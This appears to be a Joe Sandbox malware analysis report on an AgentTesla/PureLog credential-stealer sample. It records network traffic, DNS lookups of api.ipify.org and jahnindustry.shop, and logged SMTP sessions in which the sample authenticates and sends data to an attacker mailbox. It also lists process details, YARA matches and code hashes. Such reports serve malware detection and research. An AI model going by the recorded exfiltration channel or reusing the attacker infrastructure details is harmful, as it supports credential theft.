May 27, 2024 15:15:09.558181047 CEST	49705	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:09.558222055 CEST	49705	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:09.558237076 CEST	49705	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:09.563108921 CEST	587	49705	66.29.151.236	192.168.2.5
May 27, 2024 15:15:09.563127995 CEST	587	49705	66.29.151.236	192.168.2.5
May 27, 2024 15:15:09.563138962 CEST	587	49705	66.29.151.236	192.168.2.5
May 27, 2024 15:15:09.563149929 CEST	587	49705	66.29.151.236	192.168.2.5
May 27, 2024 15:15:09.836204052 CEST	587	49705	66.29.151.236	192.168.2.5
May 27, 2024 15:15:09.882370949 CEST	49705	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:18.285738945 CEST	49714	443	192.168.2.5	104.26.13.205
May 27, 2024 15:15:18.285769939 CEST	443	49714	104.26.13.205	192.168.2.5
May 27, 2024 15:15:18.285851002 CEST	49714	443	192.168.2.5	104.26.13.205
May 27, 2024 15:15:18.289154053 CEST	49714	443	192.168.2.5	104.26.13.205
May 27, 2024 15:15:18.289167881 CEST	443	49714	104.26.13.205	192.168.2.5
May 27, 2024 15:15:18.765933037 CEST	443	49714	104.26.13.205	192.168.2.5
May 27, 2024 15:15:18.766120911 CEST	49714	443	192.168.2.5	104.26.13.205
May 27, 2024 15:15:18.772124052 CEST	49714	443	192.168.2.5	104.26.13.205
May 27, 2024 15:15:18.772164106 CEST	443	49714	104.26.13.205	192.168.2.5
May 27, 2024 15:15:18.772496939 CEST	443	49714	104.26.13.205	192.168.2.5
May 27, 2024 15:15:18.826407909 CEST	49714	443	192.168.2.5	104.26.13.205
May 27, 2024 15:15:18.870495081 CEST	443	49714	104.26.13.205	192.168.2.5
May 27, 2024 15:15:19.582072020 CEST	443	49714	104.26.13.205	192.168.2.5
May 27, 2024 15:15:19.582139969 CEST	443	49714	104.26.13.205	192.168.2.5
May 27, 2024 15:15:19.582216024 CEST	49714	443	192.168.2.5	104.26.13.205
May 27, 2024 15:15:19.588444948 CEST	49714	443	192.168.2.5	104.26.13.205
May 27, 2024 15:15:20.144752026 CEST	49715	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:20.149946928 CEST	587	49715	66.29.151.236	192.168.2.5
May 27, 2024 15:15:20.150089979 CEST	49715	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:20.769536018 CEST	587	49715	66.29.151.236	192.168.2.5
May 27, 2024 15:15:20.769779921 CEST	49715	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:20.774854898 CEST	587	49715	66.29.151.236	192.168.2.5
May 27, 2024 15:15:20.940330029 CEST	587	49715	66.29.151.236	192.168.2.5
May 27, 2024 15:15:20.940650940 CEST	49715	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:20.945594072 CEST	587	49715	66.29.151.236	192.168.2.5
May 27, 2024 15:15:21.112571001 CEST	587	49715	66.29.151.236	192.168.2.5
May 27, 2024 15:15:21.112854004 CEST	49715	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:21.117763042 CEST	587	49715	66.29.151.236	192.168.2.5
May 27, 2024 15:15:21.290049076 CEST	587	49715	66.29.151.236	192.168.2.5
May 27, 2024 15:15:21.290302038 CEST	49715	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:21.295233965 CEST	587	49715	66.29.151.236	192.168.2.5
May 27, 2024 15:15:21.465789080 CEST	587	49715	66.29.151.236	192.168.2.5
May 27, 2024 15:15:21.465991974 CEST	49715	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:21.470875025 CEST	587	49715	66.29.151.236	192.168.2.5
May 27, 2024 15:15:21.641460896 CEST	587	49715	66.29.151.236	192.168.2.5
May 27, 2024 15:15:21.641686916 CEST	49715	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:21.646563053 CEST	587	49715	66.29.151.236	192.168.2.5
May 27, 2024 15:15:21.813536882 CEST	587	49715	66.29.151.236	192.168.2.5
May 27, 2024 15:15:21.814973116 CEST	49715	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:21.815022945 CEST	49715	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:21.815045118 CEST	49715	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:21.815064907 CEST	49715	587	192.168.2.5	66.29.151.236
May 27, 2024 15:15:21.819856882 CEST	587	49715	66.29.151.236	192.168.2.5
May 27, 2024 15:15:21.819932938 CEST	587	49715	66.29.151.236	192.168.2.5
May 27, 2024 15:15:21.819996119 CEST	587	49715	66.29.151.236	192.168.2.5
May 27, 2024 15:15:21.820039034 CEST	587	49715	66.29.151.236	192.168.2.5
May 27, 2024 15:15:22.105259895 CEST	587	49715	66.29.151.236	192.168.2.5
May 27, 2024 15:15:22.147955894 CEST	49715	587	192.168.2.5	66.29.151.236
May 27, 2024 15:16:47.789150000 CEST	49705	587	192.168.2.5	66.29.151.236
May 27, 2024 15:16:47.795377970 CEST	587	49705	66.29.151.236	192.168.2.5
May 27, 2024 15:16:47.953844070 CEST	587	49705	66.29.151.236	192.168.2.5
May 27, 2024 15:16:47.954039097 CEST	49705	587	192.168.2.5	66.29.151.236
May 27, 2024 15:16:47.954103947 CEST	587	49705	66.29.151.236	192.168.2.5
May 27, 2024 15:16:47.954241037 CEST	49705	587	192.168.2.5	66.29.151.236
May 27, 2024 15:16:47.958960056 CEST	587	49705	66.29.151.236	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 27, 2024 15:15:06.407486916 CEST	54705	53	192.168.2.5	1.1.1.1
May 27, 2024 15:15:06.414974928 CEST	53	54705	1.1.1.1	192.168.2.5
May 27, 2024 15:15:07.765065908 CEST	61331	53	192.168.2.5	1.1.1.1
May 27, 2024 15:15:07.781482935 CEST	53	61331	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 27, 2024 15:15:06.407486916 CEST	192.168.2.5	1.1.1.1	0x68f0	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
May 27, 2024 15:15:07.765065908 CEST	192.168.2.5	1.1.1.1	0x2f4d	Standard query (0)	jahnindustry.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
May 27, 2024 15:15:06.414974928 CEST	1.1.1.1	192.168.2.5	0x68f0	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
May 27, 2024 15:15:06.414974928 CEST	1.1.1.1	192.168.2.5	0x68f0	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
May 27, 2024 15:15:06.414974928 CEST	1.1.1.1	192.168.2.5	0x68f0	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
May 27, 2024 15:15:07.781482935 CEST	1.1.1.1	192.168.2.5	0x2f4d	No error (0)	jahnindustry.shop	66.29.151.236	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.26.13.205	443	4084	C:\Users\user\Desktop\Copy#51007602.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 13:15:07 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-05-27 13:15:07 UTC	211	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 13:15:07 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 88a645997cffc3f3-EWR
2024-05-27 13:15:07 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 37 35 Data Ascii: 8.46.123.175

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49714	104.26.13.205	443	3936	C:\Users\user\AppData\Roaming\itdtn.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 13:15:18 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-05-27 13:15:19 UTC	211	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 13:15:19 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 88a645e30b234269-EWR
2024-05-27 13:15:19 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 37 35 Data Ascii: 8.46.123.175

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
May 27, 2024 15:15:08.485460997 CEST	587	49705	66.29.151.236	192.168.2.5	220 server1.coleoffice.shop127.0.0.1 ESMTP Postfix
May 27, 2024 15:15:08.485768080 CEST	49705	587	192.168.2.5	66.29.151.236	EHLO 609290
May 27, 2024 15:15:08.647278070 CEST	587	49705	66.29.151.236	192.168.2.5	250-server1.coleoffice.shop127.0.0.1 250-PIPELINING 250-SIZE 204800000 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
May 27, 2024 15:15:08.648438931 CEST	49705	587	192.168.2.5	66.29.151.236	AUTH login c2VuZGFuZWxsQGphaG5pbmR1c3RyeS5zaG9w
May 27, 2024 15:15:08.819082975 CEST	587	49705	66.29.151.236	192.168.2.5	334 UGFzc3dvcmQ6
May 27, 2024 15:15:09.039319038 CEST	587	49705	66.29.151.236	192.168.2.5	235 2.7.0 Authentication successful
May 27, 2024 15:15:09.039563894 CEST	49705	587	192.168.2.5	66.29.151.236	MAIL FROM:<sendanell@jahnindustry.shop>
May 27, 2024 15:15:09.218732119 CEST	587	49705	66.29.151.236	192.168.2.5	250 2.1.0 Ok
May 27, 2024 15:15:09.218997002 CEST	49705	587	192.168.2.5	66.29.151.236	RCPT TO:<nell@jahnindustry.shop>
May 27, 2024 15:15:09.394697905 CEST	587	49705	66.29.151.236	192.168.2.5	250 2.1.5 Ok
May 27, 2024 15:15:09.394860029 CEST	49705	587	192.168.2.5	66.29.151.236	DATA
May 27, 2024 15:15:09.557445049 CEST	587	49705	66.29.151.236	192.168.2.5	354 End data with <CR><LF>.<CR><LF>
May 27, 2024 15:15:09.558237076 CEST	49705	587	192.168.2.5	66.29.151.236	.
May 27, 2024 15:15:09.836204052 CEST	587	49705	66.29.151.236	192.168.2.5	250 2.0.0 Ok: queued as 4F18363DDC
May 27, 2024 15:15:20.769536018 CEST	587	49715	66.29.151.236	192.168.2.5	220 server1.coleoffice.shop127.0.0.1 ESMTP Postfix
May 27, 2024 15:15:20.769779921 CEST	49715	587	192.168.2.5	66.29.151.236	EHLO 609290
May 27, 2024 15:15:20.940330029 CEST	587	49715	66.29.151.236	192.168.2.5	250-server1.coleoffice.shop127.0.0.1 250-PIPELINING 250-SIZE 204800000 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
May 27, 2024 15:15:20.940650940 CEST	49715	587	192.168.2.5	66.29.151.236	AUTH login c2VuZGFuZWxsQGphaG5pbmR1c3RyeS5zaG9w
May 27, 2024 15:15:21.112571001 CEST	587	49715	66.29.151.236	192.168.2.5	334 UGFzc3dvcmQ6
May 27, 2024 15:15:21.290049076 CEST	587	49715	66.29.151.236	192.168.2.5	235 2.7.0 Authentication successful
May 27, 2024 15:15:21.290302038 CEST	49715	587	192.168.2.5	66.29.151.236	MAIL FROM:<sendanell@jahnindustry.shop>
May 27, 2024 15:15:21.465789080 CEST	587	49715	66.29.151.236	192.168.2.5	250 2.1.0 Ok
May 27, 2024 15:15:21.465991974 CEST	49715	587	192.168.2.5	66.29.151.236	RCPT TO:<nell@jahnindustry.shop>
May 27, 2024 15:15:21.641460896 CEST	587	49715	66.29.151.236	192.168.2.5	250 2.1.5 Ok
May 27, 2024 15:15:21.641686916 CEST	49715	587	192.168.2.5	66.29.151.236	DATA
May 27, 2024 15:15:21.813536882 CEST	587	49715	66.29.151.236	192.168.2.5	354 End data with <CR><LF>.<CR><LF>
May 27, 2024 15:15:21.815064907 CEST	49715	587	192.168.2.5	66.29.151.236	.
May 27, 2024 15:15:22.105259895 CEST	587	49715	66.29.151.236	192.168.2.5	250 2.0.0 Ok: queued as 89D9763E54
May 27, 2024 15:16:47.789150000 CEST	49705	587	192.168.2.5	66.29.151.236	QUIT
May 27, 2024 15:16:47.953844070 CEST	587	49705	66.29.151.236	192.168.2.5	221 2.0.0 Bye

Target ID:	0
Start time:	09:14:54
Start date:	27/05/2024
Path:	C:\Users\user\Desktop\Copy#51007602.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Copy#51007602.exe"
Imagebase:	0x210000
File size:	2'696'656 bytes
MD5 hash:	D503277EBD054E3A3CCFE906CAC2E6D8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2114770908.00000000045DE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2125383195.0000000005400000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2123443818.00000000050D0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2114770908.0000000004391000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2114770908.0000000003991000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2114770908.0000000003991000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2114770908.0000000003991000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:15:05
Start date:	27/05/2024
Path:	C:\Users\user\Desktop\Copy#51007602.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Copy#51007602.exe"
Imagebase:	0xd60000
File size:	2'696'656 bytes
MD5 hash:	D503277EBD054E3A3CCFE906CAC2E6D8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.3235618888.00000000032E1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.3235618888.00000000032E1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.3235618888.0000000003307000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	09:15:14
Start date:	27/05/2024
Path:	C:\Users\user\AppData\Roaming\itdtn.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\itdtn.exe"
Imagebase:	0xab0000
File size:	293'997'803 bytes
MD5 hash:	C62B7992DB97A6341DACBE7E3D936C74
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000004.00000002.2235868873.0000000004CA6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000004.00000002.2235868873.0000000004DBE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000004.00000002.2235868873.0000000004D1E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2229535791.0000000003633000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2229535791.0000000003633000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2235868873.0000000005056000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2235868873.0000000005056000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000004.00000002.2235868873.0000000004CCE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000004.00000002.2229535791.0000000003371000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:15:17
Start date:	27/05/2024
Path:	C:\Users\user\AppData\Roaming\itdtn.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\itdtn.exe"
Imagebase:	0xd70000
File size:	293'997'803 bytes
MD5 hash:	C62B7992DB97A6341DACBE7E3D936C74
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.3236815937.0000000003347000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.3236815937.0000000003321000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.3236815937.0000000003321000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.3231826482.000000000042F000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.3231826482.000000000042F000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.4%
Dynamic/Decrypted Code Coverage:	99.3%
Signature Coverage:	0%
Total number of Nodes:	404
Total number of Limit Nodes:	4

Executed Functions

Function 04EF183F Relevance: 16.1, Strings: 12, Instructions: 1143COMMON

Download Yara Rule

Strings

,aq, xrefs: 04EF230A
$]q, xrefs: 04EF1D57
$]q, xrefs: 04EF1C97
$]q, xrefs: 04EF1AE3
$]q, xrefs: 04EF217A
$]q, xrefs: 04EF1AD3
$]q, xrefs: 04EF2131
$]q, xrefs: 04EF218A
4, xrefs: 04EF2225
$]q, xrefs: 04EF2121
$]q, xrefs: 04EF1CA7
$]q, xrefs: 04EF1D47

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: ,aq$4$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3443518476
Opcode ID: 1dafb25d08859bcfcf9a1110fe59117dd1727a800e8fd9aece10dabac808c204
Instruction ID: 70d8257ea944767a97557c752eddeb8380ba3cb213adc8fa03fd3bd9532fcbad
Opcode Fuzzy Hash: 1dafb25d08859bcfcf9a1110fe59117dd1727a800e8fd9aece10dabac808c204
Instruction Fuzzy Hash: ACB22534A00218DFDB18CFA9CD94BADB7B6FF48704F158599E605AB2A4DB71AC81CF50

Function 04EF1B77 Relevance: 8.0, Strings: 6, Instructions: 495COMMON

Download Yara Rule

Strings

,aq, xrefs: 04EF230A
$]q, xrefs: 04EF1C97
$]q, xrefs: 04EF217A
4, xrefs: 04EF2225
$]q, xrefs: 04EF2121
$]q, xrefs: 04EF1D47

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: ,aq$4$$]q$$]q$$]q$$]q
API String ID: 0-324474496
Opcode ID: 5e58953f60f655d503e8bab3be41bec99c33dd0d42a8eedc316ff3e9f1b4c1d6
Instruction ID: 67b48604227319c0d23b5ff50a17dde9d6d4e23a9f80cbddbb8047120742c143
Opcode Fuzzy Hash: 5e58953f60f655d503e8bab3be41bec99c33dd0d42a8eedc316ff3e9f1b4c1d6
Instruction Fuzzy Hash: 51221834A00218DFDB24DFA5CD94BA9B7B2FF48305F1491A9D609AB2A5DB31AD81CF50

Function 00F18AF0 Relevance: 7.2, Strings: 5, Instructions: 983
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

xb`q, xrefs: 00F18C1D
Te]q, xrefs: 00F19213
4']q, xrefs: 00F195C3
TJbq, xrefs: 00F18C92
paq, xrefs: 00F196AA

Memory Dump Source

Source File: 00000000.00000002.2110369451.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID: 4']q$TJbq$Te]q$paq$xb`q
API String ID: 0-1123639052
Opcode ID: 5063b2ee2df3cab708a6aaabf71912d2b3ae2fa8c254c233bd368fcb62c6ec45
Instruction ID: 01aeff57474e7095e6d2db8b9aab7c4b2f0efb465f31c644e1d0061db4ea6d95
Opcode Fuzzy Hash: 5063b2ee2df3cab708a6aaabf71912d2b3ae2fa8c254c233bd368fcb62c6ec45
Instruction Fuzzy Hash: 7BA2B475E04228CFDB65CF69C984AD9BBB2BF89300F1581E9D509AB325DB319E81DF40

Function 00F18ADF Relevance: 4.0, Strings: 3, Instructions: 245
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

xb`q, xrefs: 00F18C1D
Te]q, xrefs: 00F19213
TJbq, xrefs: 00F18C92

Memory Dump Source

Source File: 00000000.00000002.2110369451.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID: TJbq$Te]q$xb`q
API String ID: 0-1930611328
Opcode ID: 9615c52b3fbb29c23cb4434dddcdf2f6742eaf8259b739194eede2a7d79dc96c
Instruction ID: aa9b2b86d4617472f6ee7211631a8f4eddc55494542d3317e7052049ac318cb0
Opcode Fuzzy Hash: 9615c52b3fbb29c23cb4434dddcdf2f6742eaf8259b739194eede2a7d79dc96c
Instruction Fuzzy Hash: 2CC18675E006588FDB58DF6AC954ADDBBF2AF89300F14C1AAD809AB365DB305E81CF50

Function 04ED06D8 Relevance: 3.7, Strings: 2, Instructions: 1249COMMON

Download Yara Rule

Strings

4']q, xrefs: 04ED1549
4']q, xrefs: 04ED1559

Memory Dump Source

Source File: 00000000.00000002.2122803299.0000000004ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ed0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: 9c541714f5148f5e15d46e3b878e5fce18a82d82796a9cadcd62192542fdb5b6
Instruction ID: 9e4b88441d21ee493f4000f658b653e9e0c20903d8446d6c7c69e7c3537f0c5d
Opcode Fuzzy Hash: 9c541714f5148f5e15d46e3b878e5fce18a82d82796a9cadcd62192542fdb5b6
Instruction Fuzzy Hash: A3B29470D09349DFDB16DBA8C954BEEBFB1FF46304F14809AE501AB292C7786846CB61

Function 00F1B1A7 Relevance: 3.6, Strings: 2, Instructions: 1103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 00F1B6D8
2, xrefs: 00F1BD18

Memory Dump Source

Source File: 00000000.00000002.2110369451.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID: 2$$]q
API String ID: 0-351713980
Opcode ID: fe8b2ffe61be921c6ef27f7862153ff2dfc00b08f6923fa222a6c02f0378e04c
Instruction ID: 6ef782b0d15798a09addfd1a3a09f82b469c9964c841fe558b62641d08035e5d
Opcode Fuzzy Hash: fe8b2ffe61be921c6ef27f7862153ff2dfc00b08f6923fa222a6c02f0378e04c
Instruction Fuzzy Hash: A4C2B1B4E40228CFCB64CF69C984BD9BBB6BF89304F1081EAD509A7255DB349E85CF40

Function 04ED06D5 Relevance: 2.0, Strings: 1, Instructions: 738COMMON

Download Yara Rule

Strings

4']q, xrefs: 04ED1549

Memory Dump Source

Source File: 00000000.00000002.2122803299.0000000004ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ed0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: 1ba1a76c58ac08855e74ae3201b3d5aa207e814eee3f71638b6060fcb8e964c4
Instruction ID: a52b2832775cc099d5b1d3e7166671566b1d1ec594d7d6c7f857ef9b5d1e3b5a
Opcode Fuzzy Hash: 1ba1a76c58ac08855e74ae3201b3d5aa207e814eee3f71638b6060fcb8e964c4
Instruction Fuzzy Hash: A9427D7094E3849FD7179B788C69B9A7F74AF03314F1A41DBE140DB1E3C6A8584AC762

Function 05470808 Relevance: 2.0, Strings: 1, Instructions: 708
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 054711A9

Memory Dump Source

Source File: 00000000.00000002.2125713429.0000000005470000.00000040.00000800.00020000.00000000.sdmp, Offset: 05470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5470000_Copy#51007602.jbxd

Similarity

API ID:
String ID: $]q
API String ID: 0-1007455737
Opcode ID: 1399200db7ec215781507b0917bff8d2c18d516b715fb54add0d4cf2caaf8db3
Instruction ID: 10921ae119c78540428b45fd1a924e30d3780115310b3101bf9842a0a1cab60d
Opcode Fuzzy Hash: 1399200db7ec215781507b0917bff8d2c18d516b715fb54add0d4cf2caaf8db3
Instruction Fuzzy Hash: 2C522B35A00219DFDB15DF64C984E99BBB2FF89300F1185D9E549AB262DB31ED86CF80

Function 0548F108 Relevance: 1.6, Strings: 1, Instructions: 344COMMON

Download Yara Rule

Strings

Te]q, xrefs: 0548F388

Memory Dump Source

Source File: 00000000.00000002.2125779245.0000000005480000.00000040.00000800.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5480000_Copy#51007602.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: d8956a6d4435a53d5fc65cfc3ad47df2455004c52d2e992d869abd8c4799ccae
Instruction ID: b89d5bded06b50fdd697629332747590ac8df4cb4a8519ebbea49862f31ee042
Opcode Fuzzy Hash: d8956a6d4435a53d5fc65cfc3ad47df2455004c52d2e992d869abd8c4799ccae
Instruction Fuzzy Hash: 81E1D474A05218DFDB54DF69D884BEDBBB2BB49301F1081AAD40EA7355DB346E8ACF00

Function 0547D8C0 Relevance: 1.5, Strings: 1, Instructions: 242COMMON

Download Yara Rule

Strings

_(n, xrefs: 0547DA97

Memory Dump Source

Source File: 00000000.00000002.2125713429.0000000005470000.00000040.00000800.00020000.00000000.sdmp, Offset: 05470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5470000_Copy#51007602.jbxd

Similarity

API ID:
String ID: _(n
API String ID: 0-297925466
Opcode ID: f849eff3daea321afad8c7fef0a07780790117c3d9e486ae5d0e2a84c1b483cd
